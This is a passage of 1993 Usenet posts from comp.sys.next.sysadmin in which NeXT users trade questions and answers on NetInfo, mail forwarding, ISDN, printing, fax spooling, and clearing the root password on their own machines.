Newsgroups: comp.sys.next.sysadmin From: hal@codex.com.au Subject: Re: Who distributes netinfo for beige hardware? Message-ID: <1993May14.010045.1672@codex.oz.au> Keywords: netinfo, sun, sparc, hp, dec, ibm Sender: hal@codex.oz.au Organization: Codex Software Development Pty Ltd References: <67493@mimsy.umd.edu> Date: Fri, 14 May 93 01:00:45 GMT In article <67493@mimsy.umd.edu> alex@cs.umd.edu (Alex Blakemore) writes: > who distributes netinfo for Suns and other non NeXT platforms? > has anyone had good or bad experiences with it? > Saw your News posting.... re NetInfo Xedoc Software Development are the developers of NetInfo for Biege Hardware. It's called NetInfo Editions and is 100% compatible with Black NetInfo. Currently ported to SPARC, Solbourne, Auspex, SGI, RS/6000, HP/UX, and OSF/1 with DEC OSF/1 and Ultrix coming soon. Regards Horace (hal@xedoc.com.au) -- ------------------------------------------------------------------- Horace A. Lim, Sales Manager Xedoc Software Development Pty Ltd, Melbourne, AUSTRALIA Phone: +61 3 696 2490
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Ownership and Permission problems Message-ID: <1993May14.025428.8971@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1ruoe6$q5t@nwfocus.wa.com> Date: Fri, 14 May 1993 02:54:28 GMT Dean Johnson (dean@thrall.com) wrote: : : Once again I find myself in need of some advice/help. : : I just grabbed the file "AlexAlexNeXTSTEPBook.tar.Z" of an ftp : site and uncompressed and unarchived it; with a strange side effect. : After get a directory named "PostScript" I noticed that it had different : permissions and ownerships than it should have had. I had unarchived : it as "root", but didn't look at it until later. So, when I went to : delete the dir, the system beeped at me. Examining the output from : "ls -lag" it showed that the dir "PostScript" was owned by user : "steph" group "wheel". : : So, all that said. I do have a user named "steph" (my wife), but she is : group "other" - not "wheel". Second why would she have permission and not : root (the one that unarchived the .tar file). : : After deleting it I unarchived it as "dean" (me) and it had the permissions : and ownerships that it should have (user dean - group other). : : Can anybody help me understand this strange mix-up? I'm hopeful that : this isn't a major problem, just a quirk (maybe). : : Tar preserves owner, group and permission information in it. It was coincidence that the owner of the file had a uid that matched a user on your current system. Ditto gid. While it isn't a problem per say; tar is doing it's job. However you should not casually try new software as root if you are at all concerned about security. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: Would a Seagate HD boot my 030 cube? Message-ID: <1993May13.151822.2057@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1993May12.205757.6983@bnlux1.bnl.gov> Distribution: na Date: Thu, 13 May 1993 15:18:22 GMT In article <1993May12.205757.6983@bnlux1.bnl.gov> piro@bnlux1.bnl.gov (Oreste Piro) writes: > I have this very definite question and would like a very definite > answer: > > Is it possible to build a bootable disk from a 040 nonturbo cube > and boot an 030 machine from it? Definitely. > Would the Seagate ST41200N do it? That it is possible doesn't guarantee that any particular attempt will be successful. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: edmtl@alf.uib.no (Thor Legvold) Subject: Remote Appletalk possible??? Message-ID: <1993May14.111344.20098@alf.uib.no> Organization: University of Bergen, Norway Date: Fri, 14 May 93 11:13:44 GMT Hi. While we are trying (without luck) to get SLIP up and running, I am doomed to use a 2400 baud link. A friend here has a 14.4 on his Mac, and is running Remote Apple Talk. He is willing to let me call in (he's on the net) and Apple talk all I want. Is this possible? Probable? Please e-mail replies. Regards, Thor -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors
Newsgroups: comp.sys.next.sysadmin From: mcdougal@jensen.cc.brandeis.edu (brendan mcdougall) Subject: removing links Message-ID: <1993May14.155125.13295@news.cs.brandeis.edu> Sender: news@news.cs.brandeis.edu (USENET News System) Organization: Brandeis University Date: Fri, 14 May 1993 15:51:25 GMT Hi, I am posting this for a colleague at Brandeis University. If you could send an e-mail reply to grisaru@binah.cc.brandeis.edu (or me if its easier for you to hit reply :) How does one remove a link between an external hard disk and the root directory? Marc has a NeXTStation with a 1GB external hard drive and created a link he needs to KILL. Too, the documentation is abstruse, so any and all help would be appreciated. Thanks and see you on the net. Brendan McDougall
Newsgroups: comp.sys.next.sysadmin From: jja@fnbc.com (Joseph Alotta) Subject: how to reorganize my file system Message-ID: <1993May12.193552.638@fnbc.com> Keywords: reorganize Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA Date: Wed, 12 May 93 19:35:52 GMT greetings, with an astray program, i created hundreds of files in my /tmp directory. i've since deleted them all and my /tmp directory is empty. however, performance is still much slower than it's been. i was thinking i need to reorganize the entire disk. can someone tell me what commands to issue? joe. -- ============================================================== ! joe alotta jja@fnbc.com ! ! (312) 732-3439 ! ! "The Government that robs Peter to pay Paul, can always ! ! count on Paul for support." ! ! George Bernard Shaw ! ==============================================================
From: f_cnnghamjk@ccsvax.sfasu.edu Newsgroups: comp.sys.next.sysadmin Subject: swing Message-ID: <1993May14.145616.4747@ccsvax.sfasu.edu> Date: 14 May 93 14:56:16 CST Organization: Stephen F. Austin State University Is there a unix version of swing? -- kc
From: f_cnnghamjk@ccsvax.sfasu.edu Newsgroups: comp.sys.next.sysadmin Subject: NewsGrazer won't get articles Message-ID: <1993May14.145858.4748@ccsvax.sfasu.edu> Date: 14 May 93 14:58:58 CST Organization: Stephen F. Austin State University NG is getting the list of newsgroups, but it won't get the articles. Any ideas? -- kc
Newsgroups: comp.sys.next.sysadmin From: jhalchin@alleg.edu (Judy Halchin) Subject: problem configuring NeXTDimension with Preferences.app Message-ID: <1993May14.201319.3399@alleg.edu> Sender: news@alleg.edu Organization: Allegheny College Date: Fri, 14 May 1993 20:13:19 GMT I'm trying to transfer a NeXTDimension board from one '040 cube to another. I want to run the cube with both the color and MegaPixel displays. After installing the board, I ran Preferences to try to turn on both displays. It had booted with the color monitor active. When I tell Prefences to activate the MegaPixel display, instead of showing me a picture of a second display, a vertical bar appears beside the picture of the first display. The bar is about 15 pixels wide and extends the full height of the lower portion of the Prefences panel. It changes between gray and white depending on which display is selected, just as the pictures of the displays are supposed to do. More strange symptoms: If I click the off button, to deactivate the MegaPixel, and then click it on again, Preferences crashes. Clicking in the region surrounding the picture of the display causes vertical and horizontal scrollers to appear. Sometimes, after a bit of playing around, the picture of the color display disappears and won't reappear. Other details that may or may not be important: The cube is running 3.0. The NeXTDimension board was working fine on a different 3.0 cube, and I was very careful about electrostatic discharge when I moved it. The cube into which I'm trying to install the board is one of the old ones that they warn you can't be used with only a color monitor unless the power supply is upgraded. Any advice anyone can give will be much appreciated. NeXT says they have nothing in their database about such a problem and won't look into it further for free. Judy Halchin Allegheny College
From: whalenm@tsg.com (Matthew Whalen) Newsgroups: comp.sys.next.sysadmin Subject: Mail.app strangeness Date: 14 May 1993 13:28:40 GMT Organization: Telos Systems Group, Chantilly, VA Distribution: usa Message-ID: <1t06q8$5qg@obelix.tsg.com> Recently, my Mail.app stopped playing my new mail sound. The file is still readable by the world. It also plays the system beep if I tell it to check for new mail, but there is none new. Anyone seen this before or know what I might be able to do about it? thanks -matthew whalenm@tsg.com (NeXTMail OK) -- When a dog bites a man that is not news, but when a man bites a dog that is news. - JOHN B. BOGART 1845P1921
Newsgroups: comp.sys.next.sysadmin From: hwang@nextvm5.corp.mot.com (Hao Wang) Subject: set user cron job Organization: MOTOROLA Date: Fri, 14 May 1993 21:18:00 GMT Message-ID: <1993May14.211800.11377@schbbs.mot.com> Sender: news@schbbs.mot.com (Net News) Hi there, I am try to set up a cron job for user. I have no document. It seems different compare with other unix box. Can some out there help me. Thanks.
From: statman@stat.ufl.edu (charles d. kincaid) Newsgroups: comp.sys.next.sysadmin Subject: Re: Mail.app strangeness Date: 14 May 1993 15:42:56 GMT Organization: University of Florida Distribution: usa Message-ID: <1t0em0INNc0k@no-names.nerdc.ufl.edu> References: <1t06q8$5qg@obelix.tsg.com> In article <1t06q8$5qg@obelix.tsg.com> whalenm@tsg.com (Matthew Whalen) writes: > Recently, my Mail.app stopped playing my new mail sound. The file is > still readable by the world. It also plays the system beep if I tell it > to check for new mail, but there is none new. Anyone seen this before or > know what I might be able to do about it? thanks > On a related note, I have my mail forwarding set up to play a sound when I get new mail. It looks like ------------------------------------------------------------------------- bash$ more .forward statman@apeiron.ufstat.ufl.edu, |/users/statman/Apps/newmail bash$ ls -lg .forward -rw-r--r-- 1 statman wheel 61 Feb 24 23:47 .forward bash$ ls -lg Apps/newmail -rwxr-xr-x 1 statman wheel 144 Jan 11 15:36 Apps/newmail* bash$ more Apps/newmail #!/bin/sh DIR=/users/statman/Library/Sounds if test -f /usr/bin/sndplay -a -r /dev/console then /usr/bin/sndplay $DIR/"spanish.snd" fi exit 0 ----------------------------------------------------------------- However, this only works when mail gets sent to me from an account directly on the NeXT. Since I am the only one that uses it this means when I cc: something to myself. In this case it works fine. When I get mail from the outside it doesn't work at all. Has anyone seen this? Any advice is greatly underappreciated. :-) Sincerely, charles d. kincaid -------------------------------------------------------------------- Dept. of Statistics 'Damn fine coffee...and hot, too!' Univ. of Florida Pres: G-ville NeXT Users Group 'the post-modern neo-anti-reductionistic statistician'
Newsgroups: comp.sys.next.sysadmin From: rngu@mipos2.intel.com (Robert Ngu) Subject: needs help with Novell connection Message-ID: <C6w0Gy.44J@inews.intel.com> Sender: news@inews.intel.com (USENET News System) Organization: Intel Corporation, Santa Clara, CA USA Distribution: usa Date: Wed, 12 May 1993 00:10:09 GMT {\rtf0\ansi{\fonttbl\f0\fswiss Helvetica;} \paperw9840 \paperh8400 \margl120 \margr120 \pard\tx533\tx1067\tx1601\tx2135\tx2668\tx3202\tx3736\tx4270\tx4803\tx5337\f0\b0\i0\ulnone\fs24\fc0\cf0 Hi all,\ \ I need a lot of help with NextStep (beta) for i486 platform. I have been having problems connecting to a Novell server and cannot figure out how to change the init process for Next Netware to use 802.3 frame type instead of Ethernet_II type. It binds to the correct Novell network id but using the wrong frame type. Can any of you help??? \ \ Also, is any one of you familiar with setting up Next fo use a remote printer. I have already successfully established NFS and TCPIP connection to a UNIX server but would like to use the network printer as well. \ \ Please bear with me as I am a novice Next user. \ \ Thanks,\ Bob Ngu\ }
Newsgroups: comp.sys.next.sysadmin From: collis@lele-next2.Stanford.EDU (Samuel Scott Collis) Subject: Re: Mail.app strangeness Message-ID: <1993May14.180757.17816@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <1t0em0INNc0k@no-names.nerdc.ufl.edu> Distribution: usa Date: Fri, 14 May 93 18:07:57 GMT In article <1t0em0INNc0k@no-names.nerdc.ufl.edu> statman@stat.ufl.edu (charles d. kincaid) writes: > In article <1t06q8$5qg@obelix.tsg.com> whalenm@tsg.com (Matthew Whalen) > writes: > > Recently, my Mail.app stopped playing my new mail sound. The file is > > still readable by the world. It also plays the system beep if I tell it > > to check for new mail, but there is none new. Anyone seen this before or > > know what I might be able to do about it? thanks > > > > On a related note, I have my mail forwarding set up to play a sound when I > get new mail. It looks like > ------------------------------------------------------------------------- > bash$ more .forward > statman@apeiron.ufstat.ufl.edu, |/users/statman/Apps/newmail > > bash$ ls -lg .forward > -rw-r--r-- 1 statman wheel 61 Feb 24 23:47 .forward > > bash$ ls -lg Apps/newmail > -rwxr-xr-x 1 statman wheel 144 Jan 11 15:36 Apps/newmail* > > bash$ more Apps/newmail > #!/bin/sh > > DIR=/users/statman/Library/Sounds > > if test -f /usr/bin/sndplay -a -r /dev/console > then > /usr/bin/sndplay $DIR/"spanish.snd" > fi > exit 0 > ----------------------------------------------------------------- > > However, this only works when mail gets sent to me from an account directly > on the NeXT. Since I am the only one that uses it this means when I cc: > something to myself. In this case it works fine. When I get mail from the > outside it doesn't work at all. > Has anyone seen this? Any advice is greatly underappreciated. :-) > Well, to get this to work I had to set the Public Sound Server flag in the Unix Preferences window. Also, I don't think that it is necessary, but the proper syntax for the .forward file is bash$ more .forward \statman, |/users/statman/Apps/newmail This causes the mail to go to your standard mailbox, and then pipes it to newmail. Scott
Newsgroups: comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Setting Up ISDN Message-ID: <1993May15.123610.28100@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison Date: Sat, 15 May 93 12:36:10 GMT My ISDN line has been installed and I'm trying to follow the documented recipe for getting it going, so far without success. My NeXT at work lives in a mixed (non-Netinfo) network. So does my NeXT at home. There a Hayes Extender at each end and the interface (NT1U-200) lights say the line is active; so far, so good. On either end, when I try to configure according to the book (chapter 11 of NS Network and System Admin), I'm told to fire up PhoneManager. The first step is to click PhoneManager's Network button. When I do, I get a warning panel saying "can't open default domain ../." Clicking OK kills PhoneManager. Not very much progress in that, eh? It's looking like PhoneManager *requires* a Netinfo network. Can someone enlighten me or (even better) give me a remedy? Thanks in advance. -- [Jess Anderson <> Division of Information Technology, University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
From: trung@roger.gte.com (Trung Dung) Newsgroups: comp.sys.next.sysadmin Subject: any NeXT software for the MultiModem from MultiTech system? Message-ID: <11427@ceylon.gte.com> Date: 15 May 93 16:32:42 GMT Sender: news@ceylon.gte.com Organization: GTE Laboratories I'd very much apppreciate any info. Thanks! Trung
From: disc@vector.intercon.com (David Casti) Newsgroups: comp.sys.next.sysadmin Subject: Installing FAX Modems Date: 15 May 1993 18:52:18 GMT Organization: InterCon Systems Corporation - Herndon, VA USA Message-ID: <1t3e52$e2f@news.intercon.com> Hi, I'm having some trouble installing my Hayes Optima 144 as a fax modem. Can someone who has had success with this email me so I can ask some questions? Thanks, David. ============================================================================= David Casti Internet: disc@vector.intercon.com Technical Support Engineer InterCon Systems Corporation Phone: (703) 709-5554 950 Herndon Parkway, Suite 420 FAX: (703) 709-5555 Herndon, Virginia 22070 ============================================================================= No official InterCon correspondence will ever have vector.intercon.com as the return address. =============================================================================
Newsgroups: comp.sys.next.sysadmin From: beatty+@COSMOS.VLSI.CS.CMU.EDU (Derek Beatty) Subject: adding a printer with PrintManager.app (3.0) Message-ID: <C73Etu.CDs.1@cs.cmu.edu> Originator: beatty@COSMOS.VLSI.CS.CMU.EDU Sender: news@cs.cmu.edu (Usenet News System) Organization: School of Computer Science, Carnegie Mellon Date: Sun, 16 May 1993 00:03:29 GMT I recently upgraded to 3.0 from 2.1. When I try to add a local printer with PrintManager.app, I get an Alert panel saying "Netinfo problem writing 'New_Printer' on local host." Anyone know why, and what I might do about it? My system otherwise seems fine, and I can add printcap entries with niload and edit them with NetInfoManager. Rebooting doesn't help, and I'm running PrintManager as root. -- Derek_Beatty@cmu.edu ABD Comp Sci, CMU, 5000 Forbes, Pgh, PA 15213 USA (412) 268-7898 fax: (412) 621-5473 home: (412) 521-3482 [<11pm please]
From: matthews@is-next.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: netinfo across routers ?? Date: 16 May 1993 00:52:12 GMT Organization: University of Maryland, College Park Distribution: usa Message-ID: <1t437s$g1k@umd5.umd.edu> References: <GISLI.93May8001919@liapunov.eecs.umich.edu> <1993May9.200815.13910@xexos.com> <1sk9nl$cro@ni.umd.edu> Actually, all that's really needed to do to get NetInfo to talk across routers is to have the IPBROADCAST value in /etc/hostconfig to be the subnet that the NetInfo master is on. We've got a three-subnet, three-level NetInfo domain at work and it works fine (granted, it's a somewhat artificial setup as there is *barely* a double-digit number on this particular network, but so what). NetInfo will still do a broadcast, but only to that subnet (this assumes the NeXT knows about the router; I'm not sure if the router needs to forward those broadcasts, but since it's a directed broadcast and I'm pretty sure we didn't put those in at first anyway, I don't think so). I've noticed that if NetInfo can't talk to the master, regardless if whether or not it can talk to a clone, it won't bind up. This doesn't happen all the time, though, so I'm not too sure what exactly causes it (the situation in question was a NetInfo client that didn't have its router set up, but it had clones of all the NetInfo domains it needed to on the same subnet, but still failed to bind up... that same NetInfo client worked fine after it successfully bound up and the master was taken down, too). Regarding the clones, they are nice to have on each subnet assuming your subnets are big enough. And if you need NetInfo to do user authentication (e.g. no AFS), NetInfo on a server is very close to a requirement unless you *like* flatfile hacks from hell. [BTW, NetInfo runs on a whole lotta machines nowadays.] ------ Mike Matthews, matthews@ectds.com (NeXTmail accepted) ------ Cleveland still lives. God _m_u_s_t_ be dead.
Newsgroups: comp.sys.next.sysadmin From: gerben@rna.indiv.nluug.nl Subject: /usr/etc/getty behaves strange Message-ID: <1993May16.195456.19174@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Sun, 16 May 1993 19:54:56 GMT When I make my init run a getty on my VT100 on ttyb it all works. I see a line in my process status called: - std.4800 ttyb But when I remove the entry from /etc/ttys and I run by hand: /usr/etc/getty std.4800 ttyb The getty does something on the line, but it does not work. It lloks like a baud or other problem. Pressing returns on the terminal give 'u' and '}' characters. If I then set the terminal to 9600 the return is echoed in the form of CRLF but no login is spawned. What is going on? How can I run a getty by hand on that port. All as root of course. -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
Newsgroups: comp.sys.next.sysadmin From: Karl_Kraft@ensuing.com Subject: Can't Spool Faxes Message-ID: <C73Art.98q@ensuing.com> Sender: karl@ensuing.com (Karl Kraft) Organization: Ensuing Technologies Inc. Date: Sat, 15 May 1993 22:35:51 GMT A member of the local user group recently bought a used NeXT station. The machine works fine excpet for one problem, he can't fax anything out. The Fax modem itself is not the problem, as it recieves faxes without trouble, and can dial using tip. The cable is a known good cable. The problem appears to be in the spooling software. Printing works without incident. When faxes are generated, the are dropped in /usr/spool/appkit/spooled.x, but never move into /usr/spool/NeXT/FaxModem/ We have tried Loosening up permissions on all the various folders. Trying different users (root, testuser, me ) Deleting the FaxModem and re-creating it. None of which has helped. There are no hints in the console, or in /usr/adm/messages, or in psout. The faxes just sit in /usr/spool/appkit/spooled.x, and never appear in the Queue panel of PrinterManager. If anyone has any ideas, then please drop me a line. Karl Kraft as, President Southern Nevada NeXT Users's Group. -- _________ Karl Kraft Karl Kraft@ensuing.com (NeXT mail)
From: eoliver@ralph.cs.haverford.edu (Erik Oliver) Newsgroups: comp.sys.next.sysadmin Subject: /etc/magic or equivalent under NS 3.0 Date: 16 May 1993 23:11:10 GMT Organization: Haverford College Computer Science Department Distribution: world Message-ID: <1t6hme$av6@venus.haverford.edu> On most versions of UNIX I have used before, there is a file named /etc/magic which file (1) relies on to describe files. My question is simple: What if any is the name of the equivalent file under NS 3.0? (I can't find /etc/magic and the manuals/docs aren't at all suggestive.) Thanks and sorry if this is a FTM question or FAQ. -Erik Erik_Oliver@ralph.cs.haverford.edu
From: george@unixg.ubc.ca (George Chow) Newsgroups: comp.sys.next.sysadmin Subject: NS3 Upgrade tale... Followup-To: comp.sys.next.sysadmin Date: 17 May 1993 01:39:18 GMT Organization: University of British Columbia, Vancouver, B.C., Canada Distribution: world Message-ID: <1t6qc6INNrp8@skeena.ucs.ubc.ca> Howdy, I just got a copy of NS3 and a CD-ROM drive last week in expectation of NS3.1. Anyways, I've got a "classic" NeXTstation with the 105Mb HD and I wanted to upgrade that to 3.0. The CD-ROM drive was just plug-n-play. Ditto for UpgradePrep.app. I had problems with Upgrade_3.0.app. I chose to edit the upgrade plan to remove a few things that I don't want. One of them was /odmach. In the end, Upgrade_3.0.app reported: Couldn't make hard link /sdmach (to existing file /odmach). Anyways, that wasn't too hard to fix. Next, I tried optimizing my setup by creating links from my hard drive back to the CD-ROM. I tried linking up NextApps, NextAdmin, NextDeveloper, and NextLibrary. That was a bad idea as the boot process froze midway. I reinstated NextLibrary and the machine booted up fine. I next tested the printer (I've the NeXT 400dpi printer). I was able to user nppower to turn it on and off but I was unable to print, neither through lpr nor through WriteNow. The WriteNow print panel reports: Printer description file not available Things I have done/check: 1. PrintManager doesn't list the NeXT 400dpi printer. Only the Create... button is enabled. 2. /NextLibrary/PrinterTypes/English.lproj contains ppds for all of NeXT's printers. 3. /usr/lib/NextPrinter contains just: drwxr-xr-x 9 root 1024 Jul 10 1992 Drivers/ drwxr-xr-x 2 root 1024 Jul 24 1992 English.lproj/ -r-sr-sr-x 1 root 49152 Jul 23 1992 Faxxess* -rwxr-xr-x 1 root 57344 Jul 23 1992 Inform* drwxr-xr-x 2 root 1024 Jul 29 1992 Server/ -r-xr-xr-x 1 root 24576 Jul 23 1992 TrimProgram* -rwxr-xr-x 1 root 128 Nov 6 1991 lpd.children* -rwxr-xr-x 1 root 90112 Jul 29 1992 npd* drwxr-xr-x 2 root 1024 Jul 23 1992 pdf/ -r-xr-xr-x 1 root 24576 Jul 23 1992 printTiff* 4. I've gone through all of the online documentation on the 3.0 CD-ROm and they don't say anything substantial about the NeXT 400dpi printer. The only material provided is on setting up non-NeXT printers. Questions: 1. What am I missing/mucked up? 2. How did I do this? I don't recall seeing this problem so if someone knows something, please enlighten me. Thanks. George
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: ?: NS and disk drives > 2.0GB Message-ID: <1993May14.112209.1428@gamelan> Sender: thomas@gamelan (thomas) Organization: NNU Corp. - NeXT is Not UN*X References: <1srnsc$e02@gaia.ucs.orst.edu> Date: Fri, 14 May 1993 11:22:09 GMT In article <1srnsc$e02@gaia.ucs.orst.edu> tpugh@oce.orst.edu (Tim Pugh) writes: > > Does NEXTSTEP support disk drives greater than 2 GB ( > 2^31 )? > I mounted a 3.0GB drive and this is what df says: > > Filesystem kbytes used avail capacity Mounted on > umbaluru:/usr4 -1309307-1374901 36744 99% /Net/umbaluru/usr4 > > This is what it should say (from the host machine under HPUX) > Filesystem kbytes used avail capacity Mounted on > /dev/dsk/1s0 2884997 2819403 36744 99% /usr4 > > The avail space is correct but kbtyes and used are not reported correctly > on the NeXT. > > Is this just a problem with the df command? Or is there a problem with > how much the NeXT can address? > You can hack the binary of /bin/df: Change %d to %u and it will probaly show the correct results. (Do it with emacs, for example and be careful !) -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de C is a language that combines all the elegance and power of assembly language with all the readability and maintainability of assembly language
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: Compiling/Installing current C-News on the Next Message-ID: <1993May14.112745.1501@gamelan> Sender: thomas@gamelan (thomas) Organization: NNU Corp. - NeXT is Not UN*X References: <1993May13.095704.9620@digifix.com> Date: Fri, 14 May 1993 11:27:45 GMT In article <1993May13.095704.9620@digifix.com> sanguish@digifix.com (Scott Anguish) writes: > Hi All.. > > Is there any gotchas trying to compile and install the current C-news > for use on the Next? I want to replace my old, slow version (the inews script > is just that, a script). > > I would imagine the header locations could be a problem, but anything > else? > > I can't afford for my newsfeed to be down for more than 30 minutes or > so, so I am a little concerned about jumping into things before asking... Better slow news than no news .... :-) After all the C-NEWS hazzles I had before, I'm glad that it's working now and think I'm not going to touch it anymore. But perhabs someone with time and energy could try it out and load patches/comments to sonata ? -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de C is a language that combines all the elegance and power of assembly language with all the readability and maintainability of assembly language
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: How To Automatically Forward Mail Message-ID: <1993May14.113356.1624@gamelan> Sender: thomas@gamelan (thomas) Organization: NNU Corp. - NeXT is Not UN*X References: <1srl3b$8tc@vtserf.cc.vt.edu> Date: Fri, 14 May 1993 11:33:56 GMT In article <1srl3b$8tc@vtserf.cc.vt.edu> teske@opac1.cc.vt.edu (Steve Teske) writes: > > My desire is to forward all my mail to one workstation in the network of > NeXT's that I work with. There is no mail server set up for the network. > I could use some hints on how to automatically forward mail to one > workstation. Put a file '.forward' in your home-dir and fill it with the user/machines you wish to forward the mails: e.g.: steve_jobs@next.com -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de C is a language that combines all the elegance and power of assembly language with all the readability and maintainability of assembly language
From: jtduran@athena.mit.edu (Jason Tomas Duran) Newsgroups: comp.sys.next.sysadmin Subject: Re: NS3 Upgrade tale... Date: 17 May 1993 03:12:39 GMT Organization: MIT Sloan School of Management Distribution: world Message-ID: <1t6vr7INNbeh@senator-bedfellow.MIT.EDU> References: <1t6qc6INNrp8@skeena.ucs.ubc.ca> In article <1t6qc6INNrp8@skeena.ucs.ubc.ca> george@unixg.ubc.ca (George Chow) writes: >Howdy, > I just got a copy of NS3 and a CD-ROM drive last week in expectation of > NS3.1. Anyways, I've got a "classic" NeXTstation with the 105Mb HD and I When I tried to update my "classic" w/105M HD with a custom plan alot like yours, the upgrade app froze up in the middle because it took up so much swap space, that there now wasn't enough room to do the install it had planned . I ended up doing a vanilla install then everything else by hand when I was done... --jt
Newsgroups: comp.sys.next.sysadmin From: sanguish@digifix.com (Scott Anguish) Subject: Deleting Roots password Message-ID: <1993May17.025005.3598@digifix.com> Sender: sanguish@digifix.com (Scott Anguish) Organization: Digital Fix Development Date: Mon, 17 May 1993 02:50:05 GMT How do I go about deleted the password I have assigned for Root... I've tried everthing I can think of, (UserManager, NetInfo, pswd) but can't get rid of it... The machine in question is secure, one user, so thats not a problem. I just want no password for Root. -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.sysadmin From: zenon@resonex.com (Zenon Fortuna) Subject: Re: Deleting Roots password Message-ID: <1993May16.214423.27030@resonex.com> Organization: Resonex Inc., Fremont CA References: <1993May17.025005.3598@digifix.com> Date: Sun, 16 May 1993 21:44:23 GMT In article <1993May17.025005.3598@digifix.com> sanguish@digifix.com writes: >How do I go about deleted the password I have assigned for Root... > >I've tried everthing I can think of, (UserManager, NetInfo, pswd) but can't get >rid of it... The machine in question is secure, one user, so thats not a >problem. I just want no password for Root. >-- >- Scott Anguish - >sanguish@digifix.com (NextMail) >next-announce@digifix.com (comp.sys.next.announce submissions) > 1. login (or su) as root 2. nidump passwd / > /tmp/x 3. edit the /tmp/x file and delete the root's passwd (the 13 characters after the first colon) 4. niload passwd / < /tmp/x 5. reboot (needed !) -Z.
Newsgroups: comp.sys.next.sysadmin From: sanguish@digifix.com (Scott Anguish) Subject: Re: Deleting Roots password Message-ID: <1993May17.072501.1287@digifix.com> Sender: sanguish@digifix.com (Scott Anguish) Organization: Digital Fix Development References: <1993May16.214423.27030@resonex.com> Date: Mon, 17 May 1993 07:25:01 GMT Zenon Fortuna writes > In article <1993May17.025005.3598@digifix.com> sanguish@digifix.com writes: > >How do I go about deleted the password I have assigned for Root... > > 1. login (or su) as root > 2. nidump passwd / > /tmp/x > 3. edit the /tmp/x file and delete the root's passwd > (the 13 characters after the first colon) > 4. niload passwd / < /tmp/x > 5. reboot (needed !) > > -Z. > The first response I got was to start up NetInfoManager, and open users open root select the password property Edit->Delete.. This seems to work fine now... Thanks to all that replied. -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.sysadmin From: olson@dalek.mcs.anl.gov (Bob Olson) Subject: Re: Setting Up ISDN Message-ID: <7376443651130@dalek.mcs.anl.gov> Sender: usenet@mcs.anl.gov Organization: Argonne National Laboratory References: <1993May15.123610.28100@macc.wisc.edu> Date: Mon, 17 May 1993 13:12:45 GMT In article <1993May15.123610.28100@macc.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes: > >My ISDN line has been installed and I'm trying to follow the >documented recipe for getting it going, so far without >success. I hope you have an ISDN line provisioned for custom mode (AT&T or Northern Telecom). Here we have National ISDN-1 provisioned lines, with which the ISDN Extender will not work. >It's looking like PhoneManager *requires* a Netinfo network. >Can someone enlighten me or (even better) give me a remedy? Yeah, I had to graft on a toplevel domain to get it to work. You should be able to do that by modifying the instructions in the Network and SysAdmin chapter on creating a three-level domain. --bob
Newsgroups: comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Re: Setting Up ISDN Message-ID: <1993May17.141608.15436@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison References: <1993May15.123610.28100@macc.wisc.edu> <7376443651130@dalek.mcs.anl.gov> Date: Mon, 17 May 93 14:16:08 GMT In article <7376443651130@dalek.mcs.anl.gov> olson@dalek.mcs.anl.gov (Bob Olson) writes: >In article <1993May15.123610.28100@macc.wisc.edu> >anderson@macc.wisc.edu (Jess Anderson) writes: >>My ISDN line has been installed and I'm trying to follow the >>documented recipe for getting it going, so far without >>success. >I hope you have an ISDN line provisioned for custom mode (AT&T or Northern >Telecom). Here we have National ISDN-1 provisioned lines, with which >the ISDN Extender will not work. My one piece of luck, so far: it's AT&T. >>It's looking like PhoneManager *requires* a Netinfo network. >>Can someone enlighten me or (even better) give me a remedy? >Yeah, I had to graft on a toplevel domain to get it to work. You should >be able to do that by modifying the instructions in the Network and >SysAdmin chapter on creating a three-level domain. Hm, things could get tense! I wonderful if it's possible to have a netinfo network with only one machine in it. <> The painter knows things by sight; the writer, who knows <> them by name, profits by a prejudice in his favor. <> -- Georges Braque -- [Jess Anderson <> Division of Information Technology, University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, 